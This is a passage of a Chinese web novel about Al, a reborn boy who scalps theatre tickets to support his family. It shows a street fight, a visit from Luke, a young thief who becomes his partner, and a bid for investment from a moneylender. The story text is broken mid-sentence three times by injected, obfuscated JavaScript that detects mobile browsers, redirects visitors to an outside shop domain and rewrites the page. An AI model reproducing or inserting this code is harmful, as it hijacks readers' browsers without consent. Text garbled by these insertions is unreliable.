这一次,除了那部《漂亮先生》的剧外,他又挑挑拣拣地买了一些上辈子听说过,近期要登上舞台,可暂时没什么人看好的小演出票,类似什么马戏团表演,滑稽戏、钢琴独奏什么的。
然而,在卖票的史密斯先生看来,这些演出彼此间毫无联系,单拎一个出来,也看不出有什么能赚钱的地方,所以,就将阿尔的行为判断为又一次莫名其妙的狂赌。
为此,他好心地极力劝阻,试图让对方停止这么乱花钱的自杀行为。
可阿尔丝毫没有改变主意的意思。
他坚持要这么买。
卖票的史密斯便自认已经仁至义尽了,不再多言。
但让他吃惊的是,这些演出后来虽不及《漂亮先生》那么一票难求的红火,但也一点儿都不缺观众。
阿尔购入的所有票都神奇地在演出前成功卖出,到了最后,居然没有一张票砸在手里成了废纸。
尽管这些票在价格上没办法像《漂亮先生》一样卖出高价,可每张加个几块还是可以卖的。这么一来,赚得乍看没以前那么多了,可胜在细水长流,一路加加减减地算下来,居然又是一笔不小的钱款。
卖票的史密斯目瞪口呆:“你到底是个什么神仙下凡啊!”
于是,他看阿尔的眼神真的像是在看神明,偶尔打招呼时,还情不自禁,发自内心地称呼其为“幸运的阿尔”。
可阿尔毕竟不是真的幸运。
这种不加遮掩地急切赚钱、且有些树大招风的行为,不免引起了一些同为票贩人的嫉妒。
阿尔自己也并非不知道这样做有些不妥。
可生活所迫,只好铤而走险。
于是,某天回家的路上,他果然就被人堵在了小巷子里。
三、四个成年人合起伙来一起欺负一个十三岁的孩子,威胁他从此退出票贩行列不说,还得寸进尺地要求他把那部剧大卖的内部消息说出来(他们不相信幸运,以为阿尔有什么内部消息)。
阿尔早有预料,一句废话没说,干脆利落地就扑了上去。
别看他人小力微,打架没什么章法,但气势很强硬,而且像条小疯狗一样乱咬人。其中一名个子比较矮的成年人便一个不慎,被他狠狠咬住了耳朵,接下来的过程就糟透心了,因为不管怎么踹他、打他、拽他,他就是王八咬手指——死不松口!
几名成年人就都有点儿慌了。
毕竟,哪怕表面装得再凶,这种只敢找小孩子麻烦的家伙能算什么狠人呢?充其量不过是混入狼群的哈士奇,别说是遇到真狼,如今仅仅是遇到条超凶的小狗崽,他们都要被吓得尾巴毛炸起来了。
——这事不对啊!
——怎么是这个发展呢?
——这和我们想得不一样啊!
——我们就是想吓唬吓唬人,可你怎么玩上命了呢?
——别啊,咱们不能好好说话、好好商量吗?
——干嘛一上来见血呢?见血多不好啊!
除了以上十分费解的想法外……
空气中还回荡着那名被咬住男子快哭了的凄惨叫声:“耳朵,我的耳朵快被咬掉了!天啊,快拉开他,拉开!啊啊啊啊,我的耳朵啊!我的耳朵要被咬掉了!我没耳朵了……呜呜呜!”
总之,这场危机以一种稀里糊涂的方式结束了。
几名成年人慌不择路、像是见鬼一样地跑出去老远。
阿尔吐了口嘴里的血沫,脱力地靠在墙上好久,才缓过来,慢吞吞地往外走。
等走到巷子口,却不小心撞见了总在附近翻垃圾堆的一名流浪老人。
老人这会儿手里还抓着一个破麻袋,一眼就看到这孩子唇边和身上的血迹,顿时惊恐地瞪大眼睛:“上帝啊,你这,这,这是干了什么?”
“没干什么,我在打老鼠。”阿尔轻描淡写地说。
“老鼠?现在的老鼠都这么凶的吗?”流浪老人惊疑不定地问。
“是啊!还又脏又蠢。”
阿尔不禁干呕几声,皱眉自言自语:“血都是臭的。”
————————————
西尔维夫人吓坏了。
尽管她至今仍对“大儿子一跃而成一家之主”的事有些不适应和疑惑,可内心深处却清清楚楚地知道,这个家庭之所以还能安安稳稳地维持到现在,全都是长子的功劳。
所以,当她看到阿尔这样身上带着血迹跑回来时,整张脸唰得一下全白了。
她冲过去想帮忙,却又找不到什么伤口,不知道该从哪下手,急地团团转,表情极度无助,至于阿尔的弟弟妹妹,也在那跟着母亲瞎转悠。
阿尔就拉了一下母亲的手,安慰说:“没事的,妈妈,我只是摔了一跤。”
可谁知,西尔维夫人就又老调重弹地呜咽了起来:“你怎么这么不小心啊?你爸爸说没就没,要是你再出个什么事,还让我怎么活啊!老天啊!为什么要我一个苦命的女人遭受这种折磨,与其这样每天都要担惊受怕,我真想立刻死了算了。”
阿尔起初还忍耐地纵容着她发泄……
可一听她又开始死了活了的喊,心中的气就再忍不住了!
他辛辛苦苦在外面赚钱养家,想尽一切办法让大家活得更好,为此还被人堵在巷子里打,可到头来只换到一句“与其每天担惊受怕,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729500|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如死了算了”!!
这算什么?
自己的付出根本没意义吗?
而且,既然说来说去人都要死。
那还一天到晚奋斗啊努力啊做什么,全世界都灭亡算了!
正当他越想越气,捋起袖子,打算跳起来,好好和西尔维夫人辩一辩的时候……
门外突然响起了敲门声。
屋子里瞬间一静。
要知道,自从西尔维先生去世后,除了房东跑来收租外,几乎再没什么人过来登门了。
而且,这会儿时间虽不算是半夜。
可阿尔下班回来,加上路上的一系列变故,真正到家后,天也已经是全黑了。
西尔维夫人不禁惊奇地望着门:“这时间怎么会有人来?”
阿尔强压下刚才的怒火,随口说:“你去看看不就知道了。”
由于贫民区的治安不是很好,西尔维夫人便小心翼翼地走过去,先扒着门缝向外看了看。
然后,她回过头,十分忐忑地问:“一个黄头发的小子,阿尔,是你朋友吗?”
“黄头发的?”
阿尔就也走过去瞧了瞧,结果惊讶地发现,还真是认识的人!
只不过不是朋友,是仇人。
是那天晚上被他报警抓走的笨贼。
“这是找上门来算账了?”阿尔毫不畏惧地冷笑着想。
若是以往,他肯定怕吓到母亲,随便找个理由糊弄,然后,自己出门把人拉走。
可现在,因为刚才的气恼!
他心中难得地升起了一点儿坏念头,居然转身把实话说了出来:“不是朋友,是我前几天看见他偷东西,就报警把他抓了。”
西尔维夫人倒抽一口凉气。
她瞪圆了眼睛,又气又恨地捏起拳头,用力锤了一下儿子的后背:“天杀的!你这个天杀的惹祸精!你说,你管这闲事做什么?人家又没偷你的东西,没招没惹你的,要你多什么事!看看,看看,现在好啦,人家上门寻仇来了!”
阿尔也不反抗地让她锤了发泄,可嘴上却故意气她:“妈妈你不是连死都不怕吗?怎么还怕被坏人寻仇?”
西尔维夫人愣了一下,喃喃一句:“你说得也有理。”
然后,在阿尔困惑不解地注视下……
她猛地转身,快步跑向厨房,握着一把约有十三厘米那么长的大号面包刀又重新冲了回来,但表情依然是愁眉苦脸,继续哭哭啼啼地诉苦:“我的命太苦了,太苦了!丈夫死了,儿子又小!现在坏人还欺负到了家门口!我能怎么办啊?怎么办啊!现在死的话,家里刚买的土豆还没吃完呢,只能拼一下了。可以前咱家连骨头都是你爸剁的,我力气那么小,也不知道一下砍不砍得死,说不得还要多砍几下,这不应该是好人家女人该做的事啊,想想就好可怕的。若是有男人……若是有男人,呜呜,真不是我乱说啊!这女人没了男人,活着太难了,太难了。”
不是!
这和女人男人有什么关系?
妈妈,你到底对男人有什么误解?
我爸在的时候……他也不砍人啊!
阿尔脸上的表情彻底裂了。
12. 第12章
第12章阿尔:这可真是人才啊!
阿尔好说歹说才让西尔维夫人放下那把面包刀,带着弟弟妹妹先到厨房里暂避一下。
然后,他左右看了看,随手抓了个扫帚充当临时武器,就跑去开门了。
“呃……那个,我是来道谢的。”
门打开后,那个黄毛小子十分突兀地冒出了这么一句话。
阿尔着实吃了一惊:“我没听错吧?”
黄毛小子的脸上立刻露出烦躁的神色,很不耐烦地说:“我特么也希望你听错了。”
“可你能感谢我什么啊?”
阿尔匪夷所思地问:“感激我扔的那份炸云吞,还是感谢我报警抓你?”
“炸云吞挺好吃,但确切地说,是感谢你阻止我走上犯罪的道路。”黄毛小子一本正经地说。
但当他注意到阿尔“你是不是有病”的古怪目光时,忙又补充了一句:“这话是我姥姥说的。”
你姥姥又是谁?
阿尔对此更加迷茫。
不过,好在这个莫名其妙出现的家伙随后就做出了一番解释。
这个解释挺含糊和混乱的,但好歹算是帮忙理清了来龙去脉。
自称名字是卢克的黄毛小子先简略总结了一下那天晚上后续的事:“证据不足,警察没抓我。”
然后,他顿了顿,开始絮絮叨叨地补充起了一些更详细的细节:“我姥姥去保释我,她一大把年纪,哭得眼睛快瞎了。那台电视机的失主见了,就也不想追究什么。更何况,我还未成年……反正交了点儿罚款,又拘留几天,被警告几句算是完事了。我一出来就想找你这个混账玩意儿报仇,可我姥姥拦住我说,如果不是你让我有了这么一次教训,指不定我将来还要干出点儿更大的事来。虽然我觉得她纯属胡扯,可她非要这么说,我也没办法。总之,在她眼里,你不但没错,反而有功!是你及时阻止了我走上犯罪道路,所以,她今天使唤我,让我来谢谢你。”
“她让你来,你就来了?”
“嘿!谁叫她是我姥姥呢。”
“可你怎么找到我的?”
阿尔还是有些解:“我那天晚上没报名字吧?”
黄毛就笑了:“幸运的阿尔!”
他拍了拍阿尔肩膀,调侃说:“你最近很有名啊,哥们!”
阿尔不太习惯这种自来熟的态度,心里就不是很高兴。
可黄毛卢克却还在那自顾自地说:“怎么样?哥们?我姥姥明天还想请你吃饭呢,你去不去?我觉得你得来,只当给我个面子,来吧!”
这邀请也来得太莫名其妙了吧?
阿尔一时间有些拿不定主意。
这时候,西尔维夫人从厨房探出了头。
她又是招手,又是跺脚,又是挤眼睛的,也不知道要做什么。
考虑到这会儿已经没什么危险的样子。
阿尔便同那个黄毛卢克说:“你先等下,我妈喊我。”
黄毛小子点点头。
他从兜里抽了根烟出来,明明年纪也不大,却已经动作十分熟练地吞云吐雾了。
阿尔皱了皱眉,但也没多管闲事。
他跑到西尔维夫人跟前问:“妈妈,你有什么事?我那边还没说完话呢。”
作为外来移民,西尔维夫人的英语一直不好。
日常交流,除了买菜一类的固定短语外,别人往往要一个单词一个单词地慢慢说,她才能连猜带蒙地听懂个大概。
所以,哪怕距离不算远。
阿尔和那个黄毛小子的那段神奇对话,她依然一句都没听懂。
但是,远远看着他俩一直站在门口不停地说话,那黄毛小子还突然去拍阿尔的肩膀……
她就有点儿着急了,心想:“见鬼!这是做什么?威胁、恐吓吗?”
于是,当儿子被她喊过来后……
她便激动地用西西里岛方言飞快地叽里咕噜出来一长串:“阿尔,那天杀的小魔王到底要做什么啊?他是不是找你勒索钱财?天啊!我们家可才刚好过了那么一点儿啊!这不要脸的下流坯子就来了?我早该想到的,这群天杀的混账玩意儿,闻到钱味儿就像是野狗嗅到屎一样激动!你绝不能给他们钱,一分一毛都不行!这事不能商量,要是谈不妥你就让他进来,我拼了命也要拿刀砍他,我们一起砍……”
阿尔哭笑不得:“妈妈,你想多了,没那回事的。”
他有心想解释清楚,可那个黄毛小子的古怪情况,什么姥姥,什么请客吃饭一类,连他自己也没搞得太明白,怎么好好的寻仇就变成了报恩?这个逻辑实在是让人太迷惑,一时间居然都不知道怎么和西尔维夫人说了。
西尔维夫人便握着那把面包刀,紧张地盯着长子,仿佛下一刻就要跳起来砍人。
弟弟约翰和妹妹玛丽站在母亲身后,全神贯注地望着这一幕,试图理解家里大人们种种行为的含义。
正当阿尔满腔无奈的时候……
站在门口的黄毛卢克也不耐烦了。
他特别熟稔地喊了一嗓子:“阿尔?阿尔?你和你妈说完没?到底去不去,给老子个回复啊!”
阿尔只好又嘱咐西尔维夫人一句:“你先别管,我说怎么做你再怎么做。”
然后,他匆匆又回到门口。
黄毛卢克听不懂西西里的方言,只看到两母子在那嘀嘀咕咕半天,却不知道在说什么。
可由于西尔维夫人一向不是什么谨慎的性格,一边和儿子说话,还要一边朝他这边又看又指的,哪怕是个傻子也知道是在谈论自己了,他就忍不住疑惑地问:“你妈说什么啦?是在说我吗?”
阿尔自然不能把“我妈找我商量要一起拿刀砍你”这种事告诉他,只好随口敷衍过去一句:“是说你,不过,我妈夸你呢。”
谁知黄毛卢克听了,居然十分喜出望外:“什么?夸我!”
他特别高兴地连连追问:“她夸了我什么?哥们,你可一定要一字不漏地告诉我!天老爷啊,这还是第一次有长辈夸我呢。”
阿尔:……
没办法,他只好开始现编:“她夸你生得俊,夸你个子高,夸你长得壮,夸你真健康,夸你看起来特别沉稳懂事,一见就是个靠谱好孩子,夸你将来能做大事,搞不好还会成大人物呢。”
黄毛卢克的眼就闪亮起来。
他不好意思地摸一下蓬乱的黄毛,又挺直了背,整了整衣领,十分可笑地遥遥朝着西尔维夫人的方向,笨拙企鹅一样地模仿那些有钱人的样子,微微弯腰,大声说:“谢谢您的赞美,美丽的夫人。”
阿尔:……
西尔维夫人:警惕.JPG警惕.JPG
她实在忍不住地用西西里方言问了一句:“阿尔,他冲我说什么呢?我们要不要现在砍?”
另一头,黄毛卢克也很激动:“你妈又说什么了?还在夸我吗?”
阿尔只好一边用西西里方言回复亲妈“不砍,不砍,你先放下刀”,一边转头用英语和黄毛翻译说:“她说,天快黑了,担心你晚上回家路上不安全,让你早点儿走(快滚)吧。”
“多么善良的夫人啊!她居然还关心我!”
黄毛卢克感动地快哭了:“我妈都没对我这么好过!”
阿尔:……
最后,为了把这二货打发走。
阿尔只好答应了第二天去他家吃饭的邀请。
至此,鸡同鸭讲的对话才算告一段落。
但突然跑去陌生人家里吃饭,怎么想怎么怪。
安全起见,阿尔便先去四处打听了一下这个黄毛卢克。
没想到,这事挺容易。
这个黄毛卢克在贫民区还是个“名人”。
这孩子全名叫卢克德马库斯,只比阿尔大两岁,今年十五。
但和阿尔从小非常听话,懂事、乖巧的性格不同,他从小就是个祸头子,什么招猫逗狗,上房揭瓦,无所不干。后来,在七岁时玩火,居然创下了“把家里房子烧成一片白地”的丰功伟绩,直接导致爹妈全线崩溃,赌咒发誓地不想要他,谁劝都没戏,干脆就扔垃圾一样,想把他扔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729501|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大街上不管了,最后,只有他姥姥勉强接收了这个奇葩。
但由此也产生了另一个难题。
一名年事已高,仅靠收废品和做手工过活儿的贫民区老人,又哪里有时间、有精力、有金钱地去好好抚养和教育一个孩子呢?充其量也就是管口饭吃,不让他饿死了。
没人管的卢克自然而然地开始了混迹街头的半流浪儿生涯。
按照常理来说,这么一个没人教导的孩子走上邪路其实是理所当然的事情。可偏偏,他姥姥是个很好的老人,哪怕精力不济,却也一直努力想让这孩子学好,只要有机会就会不停地念叨他。
卢克性格上有些混不吝,可对唯一愿意收留自己的姥姥还是很尊敬的。
在他姥姥锲而不舍地教育下,他除了偶尔小偷小摸,外加有一些抽烟喝酒的小毛病外,有时候还会主动帮左邻右舍做点儿什么举手之劳的好事,一系列行为加加减减下来,神奇地居然也算个好孩子。
因此,贫民区的人提起卢克来,语气是很不错的。
偶尔一些上了年纪的老人还很欣慰地同阿尔说:“你别看那孩子性格有点儿混不吝,可有他姥姥在,根子上就坏不了。等将来长大了、懂事了,说不定是个本本分分的厚道好小伙儿呢。”
本本分分是没戏了。
因为听到这里,阿尔总算从上辈子记忆的角落中挖出了这么一个奇人。
确实如这些老人们所说,卢克后来很长一段时间都只能算是一个的确会干点儿坏事,但不过是生活所迫,本质还算中立善良的普通人。
但变故发生在大约两年后……
当时,他姥姥外出去买菜,不幸卷入了一场街头混混的打架斗殴中。
由于老人家的年事已高,行动迟缓,躲闪不及,不小心被撞倒,又一时爬不起来,便被那些只顾打架的小混混们无意间踢来踢去、踩来踩去,事后,一口气没上来,就那么过世了。
因为是打群架,场面混乱,没人能确定到底是谁撞了老太太,又是谁才是导致老太太死亡的罪魁祸首,各家都不认账,只赔了钱,也有领头的混混被关了监狱,可关的时间也挺短的……
这样的结果显然不足以让卢克满意。
于是,他经过一番调查,虽没证据,却八/九不离十地锁定三个在“姥姥死亡”事件中,应当负主要责任的混混。
出于自家姥姥长年累月的教导,他倒也没犯罪,但却下了一个决心,从此要把“给姥姥报仇”这件事,当作自己的毕生事业。所以,除了必要的吃饭睡觉赚点儿钱外,他一天到晚也不干别的事了,只专心致志地盯着这三混混。
只要这三人有什么好事,他必然要去搅局;
若是做了什么坏事,那没得说,全都给他们曝光。
除此以外,要是有了机会,他还要去套麻袋暴打仇人!
总之,从精神到肉/体统统都是他要打击的对象。
足足十来年,他就这么一直阴魂不散,哪怕有好日子都不过,只专注地干这一件事。
期间斗智斗勇的过程就不说了,反正到最后,他把三混混逼得快成神经病,跪着求大哥放过。
但这家伙认死理。
他问:“我姥姥还能活过来吗?”
三混混齐齐摇头。
那必然是不能了,人死也不能复生啊!
行,别说了。
那咱们继续玩,我下半辈子都跟你们耗上了。
……别啊!
这特么谁受得了?
确切地说,在阿尔重回十三岁之前……
这一根筋的奇葩还没停止报复行为。
而且,据后来贫民区的朋友闲聊时说,这人后来还积极上进地好学起来,自学起什么时间规划统筹管理,什么高效率完成工作一类的专业课程,从而把每天几点到几点去找谁麻烦,具体要怎么找麻烦,全都计划得详详细细、十分科学,还列好表格,定期执行,生活特别健康、有条理。
阿尔这么细细回忆了一番后,不禁拍桌子感叹:“人才啊!”
13. 第13章
第13章卢克:行啊,圣人说了算!
卢克姥姥是一个身材干瘦,但声音柔和甜美的小老太太。
她的感情很丰富,而且擅长脑补,因为早知道阿尔一个人养活一家子的事,便一见他就热泪盈眶起来:“孩子,你受苦了。”
出于对卢克这个奇人感兴趣的原因……
前来赴约的阿尔当时就给整懵了。
要知道,西尔维夫人是一个根本不知道怎么正常表达情绪的人,除了哭哭啼啼、自怨自艾,以及偶尔词不达意、歇斯底里地怒骂外,几乎很少能给予他什么情感上的慰藉;而在上辈子,他又是孤零零的,自然也没体会过被人关怀和心疼的感觉。。
这就导致,若是有人骂他、打他、瞧不起他、无视他,他习以为常,也能表现得从容自若。
可遇到这样近乎直球的温柔言行,反而会不知所措了。
不过,卢克姥姥也没想要他给出什么反应。
在她眼里,阿尔早就不仅仅只是一个普通贫民区小孩了,而应该是上帝派到人间的天使!(阿尔:???)否则,在这浑浊、肮脏的世界上怎么会出现那么善良、那么单纯、那么没有私心的孩子呢?
暂且不讨论老太太的逻辑有什么问题。
反正在她眼中,这孩子实在可怜可爱、可亲可敬,正如耶稣一般,竟是个天生的圣人了!
想想吧!
一个孩子,负担整个家庭!
他平时该是多么辛苦,多么艰难,多么无助啊!
但却又是多么值得人尊重啊!
只要这么一想,老太太就又要热泪盈眶了,恨不得把自己拥有的所有好东西都拿出来待客。
于是,不管阿尔做了什么事,她都能给出绝对正面的脑补。
之前,阿尔“报警抓了她外孙卢克”这事……
她的理解就自动变成了:“阿尔那是为了你好,你早该得到一次教训。你得感谢他,是他及时把你从犯罪的道路上拉了回来。”
卢克:???
没办法。
老年人一旦固执(迷信)起来,通常是谁劝都不听的。
于是,阿尔在卢克家就接受到了最高规格的热烈欢迎。
卢克姥姥拿出家里所有储藏的食物,还使唤卢克去买了糖果。
在贫民区,糖果甜食一类的玩意儿算得上是奢侈品了。
这种无缘由的热情顿时让阿尔受宠若惊,连连道谢,还不由自主地流露出了一些拘谨、不自在和腼腆的样子。
但这种内向、老实孩子的表现,却又加倍讨老人喜欢了。
卢克姥姥的目光越来越慈祥和温柔。
到了最后,她望着阿尔的眼神,不像是看个外人,反而像是在看自己生养的孩子了。
等结束了这顿饭。
阿尔已经在卢克姥姥真切诚恳的攻势下,莫名其妙地和他们亲如一家了。
并且,他还稀里糊涂地答应要和卢克做好朋友了。
虽然本来也是打算和对方结交一番的,可这发展也很令人迷惑了。
“我姥姥特别喜欢你,说你善良、勇敢,有责任心。”
在阿尔回去的路上,应姥姥要求,还专门跑一趟送客的卢克一边踢着街道上的小石子,一边嘀嘀咕咕着:“知道你答应来家里做客后,她高兴得假牙都快笑掉了。”
阿尔没搭腔,沉默地慢慢朝前走。
卢克便又接着抱怨:“其实,我之前也听说过你好多次,一开始是西尔维家的痨病鬼,西尔维家长不大的小阿尔,西尔维家的绿眼睛野猫小子……然后,西尔维先生去世了。啊,抱歉,我没什么别的意思。反正自那以后,你的称呼就又变了,苦命的阿尔,小可怜阿尔,没爸爸的阿尔……能干的阿尔,赚钱养家的阿尔,幸运的阿尔。”
他掰着手指头数那些外号,越说到后头,声音便越低,最后更是非常小声地说:“后来……后来,你真是太厉害了!谁都想不到你居然能养活了那么一大家子。我姥姥对你佩服得五体投地……我,我也崇拜你,虽然你报警抓我……”
阿尔忍不住诧异地抬起头。
他没想到这二乎乎的家伙居然也会对自己说出“崇拜”这个词。
但卢克没察觉到阿尔的目光。
他望着不知名的远处发了几秒钟的呆,然后,才略带不甘心地继续说:“为了今天的这顿饭,我姥姥准备了好久,我劝她根本没必要那么紧张,但她压根不听。”
“见鬼!”
这个黄毛小子突然愣头愣脑地骂了一声,可也不知道到底是生谁的气,又是想冲谁发火。
他满心嫉妒,提高音量地嚷嚷起来:“我这个亲外孙的地位居然特么还没你这个外人高!真搞不明白到底是为什么!凭什么在她眼里,我就是不靠谱、不做正经事的典型;可若是换成你,就立刻变成了又懂事又善良的好孩子。明明我们都在努力凭本事赚钱,只不过方式可能不太一样……”
等等!
你确定只是方式不太一样?
不过,偷东西这种方式……
也确实不太一样。
阿尔终于笑了。
然后,他一边望着不远处家的方向,一边用若无其事地口吻突然问了一句:“那你要不要试试我的赚钱方式。”
说实话,阿尔之前没考虑找什么帮手。
在他看来,自己将来是必然要和上辈子一样重新投身于戏剧这一领域的,偶尔卖卖黄牛票不过是赚点儿快钱来养家,完全没必要把这玩意儿当正经事,而且,读者也都是冲着剧院之王来的,早就不想看什么不务正业的黄牛之王了。
但之前有被同行堵在巷子里欺负的事,现在又碰到卢克,还被卢克姥姥热情款待了一番……
这些事统统凑到一起,又叠加起来,便让他的头脑中,‘叮’的一声,突然亮起了一盏灯,然后,迫切想要做点儿什么出来。
如果这时候有人问:“有必要节外生枝吗?先老老实实苟过基础发育阶段,不行吗?”
阿尔大概也搞不清楚自己到底是怎么想的,可总有一些事,属于做了没什么好处,可不做的话,却要耿耿于怀很久很久的。
于是,阿尔简单地将票贩这一行介绍给了卢克。
在接下来的时间里,还出钱出力地亲自带着他做了几场演出的黄牛,并且,为了能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729502|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快点儿赢得人心,他挑出来的那几场演出都是近期的。
卢克很快赚到了一部分钱,将阿尔借给自己的本钱还回去后,手头居然还剩二十块。
不说钱的多少,实在是在此之前,他还从来没有用正当、不违法的方式赚到过这么多钱,一时间喜出望外,对眼前这个比自己小、比自己受姥姥优待的孩子很是心悦诚服。
这时候,阿尔又提议:“我们再把生意做大点儿,多招一些人来。”
卢克一边痴迷地低头反复数着那点儿钱,一边随口说:“招人?为什么要招人啊?招了别人不是分我们的钱吗?”
阿尔就告诉他:“离我们最近的那条街,剧院足足有四、五个呢,市场这么大,我们两个人的时间和精力又有限,根本做不了那么多。既然如此,为什么不多找点儿人来慢慢发展,最后一鼓作气把这一片的市场包圆了。”
卢克这才抬起头。
他凝神想了想,才认真地说:“阿尔,你这话听起来很有气魄,可实际操作起来多麻烦啊!你想想,具体要怎么招人呢?招了人又怎么样?你要像对我一样吗?先借钱给他,再教他怎么搞?不是我自吹,但我卢克可是顶顶讲义气的人,不管怎么说,我是肯定不会背叛你的,可若是换个人呢?万一教会了,他反过来和我们抢生意怎么办?这事行不通。”
阿尔就一边思考,一边说:“招人没那么难,贫民区这边我就认识好多孩子。他们有些家境比我们强点儿,但平常也不闲着,一天到晚卖报纸、送包裹、捡垃圾,赚了不了块八毛的;有些家境也和我们一般糟糕,养不起自己搞不好也要和你之前那样去做贼了,做贼总归不是出路,不如干脆叫过来一起干。至于说怎么教,这回我可不借钱了,要他们自己想办法凑钱……具体怎么做,我心里有点儿想法,但一时半会儿和你说不清。”
卢克只听得瞠目结舌,不禁露出一个无比惊奇的愕然表情:“耶稣基督啊!我姥姥说你是个圣人,原来你还真是个圣人转世嘞!”
他啧啧称奇地又说:“养活你那一大家子还不够,现在连贫民区别人家孩子的生路,你都要考虑起来了吗?”
阿尔没办法解释清楚自己的想法。
但他知道,自己肯定不是什么圣人,不过是人多力量大、人多势众那一类,但凡什么行业,只有行成规模才好办事……
于是,他只好迎着卢克那一脸看稀奇的目光,皱眉不耐地问:“你到底干不干?”
卢克把头摇得同个拨浪鼓似的,满头黄毛乱飞,一叠声地说:“不干,不干!知足常乐,按你说得那么做,太麻烦了。”
“去你的,你个不思进取的懒货!”
阿尔立刻气得跳起来:“做什么事没麻烦呀?哪怕去街头捡垃圾,还要费劲儿挑半天呢。”
然后,他也不想多说,干脆直接通知:“卢克,我坦率同你讲,这事不是商量,我是一定要做的,你必须来帮忙。”
卢克不禁咧嘴笑了。
他觉得阿尔气跳脚的样子实在好玩儿,心里就痒痒的,一边想什么都依着他、满足他,一边又蠢蠢欲动地想欺负他,便笑嘻嘻地说了一句:“行啊,圣人说了算。”
14. 第14章
第14章阿尔:钱可以不要,但我不想失去您!
阿尔和卢克后来又招了一些人,全是贫民区那些没大人管,整天满街乱窜的孩子。
但让卢克高兴的是,与这些刚被新招来的孩子相比,阿尔明显更看重自己。
在带卢克入行的时候,他出钱又出力,还费劲儿地把整件事的所有环节都讲得清清楚楚。
可对这些孩子,在刚开始时,阿尔似乎根本没那个耐心去一一讲解,态度反而更倾向于一种雇佣关系,每天给个几毛几分当薪水,偶尔碰上表现特别好的,才会奖励一两块钱。
但对于贫民区的孩子们来说,这种程度的待遇已经足够。
除了个别叛逆分子,绝大多数孩子都非常珍惜这个机会。
至于卢克一开始担心的什么“背叛”,显然是想多了。
这就好比公司里打工的员工,哪怕工作好多年后,早把老板具体是怎么运营赚钱的事情了解得一清二楚了,可十个人里也不一定能出一个想自立门户的。
更何况,贫民区的小孩子们多数没什么文化,脑袋瓜儿也不那么灵活。
比起背叛之后,全靠不怎么聪明的自己去单干,他们更习惯听从命令,从而得到旱涝保收的稳定收入。
这么过了一阵子,“新员工”逐步迈入正轨,对倒卖戏票这一模式都熟悉后……
阿尔便盘算着,也该进入下一步了。
他需要一笔钱!
这笔钱可以没那么多,但必须能在短时间内购入大量戏票,制造出一种“他们已经垄断了市场”假相的钱。
于是,高利贷商人本福尔曼又迎来了自己的那位小客户。
时隔数月,阿尔总算变胖一点儿,脸上也多了一些肉,曾经瘦到皮包骨,几乎看不出具体形态的五官就渐渐回复了正常状态。虽然由于年纪小、没长开的缘故,暂时还看不出什么,仅仅是隐约可见几分秀气的轮廓了,想要彻底迎来变化,大概还需个几年的时光。
但是,这也不意味着他现在就平平无奇、泯然于众了。
事实上,不管是谁,只一眼望过去,他的那双眼睛都能给人留下一个无比深刻的印象,因为那眼睛是墨绿色的,和夜色深沉时刻,透明玻璃杯中承载着的苦艾酒一般神秘,于是,当他认真去注视什么人时,那全神贯注的目光就极具感染力,好像有了和苦艾酒一般令人迷幻和兴奋的特质。
所以,福尔曼夫人一见他便忍不住去拉他的小手,说出口的话语,听起来有些过于夸张,但未尝不是带了几分真心实意:“哎呀我的老天,你快来瞧瞧这孩子,真是漂亮极了,我都快认不出来了。”
阿尔不禁露出一个惊讶的表情。
他显然从来没好好关注过自己身上的变化,还当自己是那个又丑又瘦的街头小乞丐呢。
“是小阿尔啊!”这时候,福尔曼先生听到自家夫人的喊声,也走了出来。
他一点儿债主的样子都没有,乐呵呵的样子简直像是看到有亲戚家孩子过来拜访一样,高高兴兴地欢迎起来:“你来得巧了,我这边刚好有水果糖和小蛋糕。”
阿尔在两夫妻无比热情的招待下,手足无措。
大约过了十多分钟,他才费劲儿地把话题转回正题上,先连本带利地归还了之前的一百块借款,再提拉投资的事。
福尔曼先生又一次被这孩子惊到了。
他的嘴巴张得大大的,半响才问出来:“你这次要借五千块?”
“不是借,是想请您投资。”阿尔板着小脸,努力严肃地解释着。
他知道,对这位前世病友本福尔曼来说,五千块不是小钱,可其实也不算什么拿不出的巨款。但自己不能仗着对方的好心就随便乱提要求,所以,他也是做了充足准备来的,诸如什么近期买卖都记录得清清楚楚的账本,商业计划书,还有详细的市场调查表格……
这时候,大家借钱多是凭自身信誉(所以才格外重视诚信)。
福尔曼先生还是第一次接触到这么正规的模式,一时间有点儿懵。
可尽管如此,人对陌生领域依然有着本能的警惕。
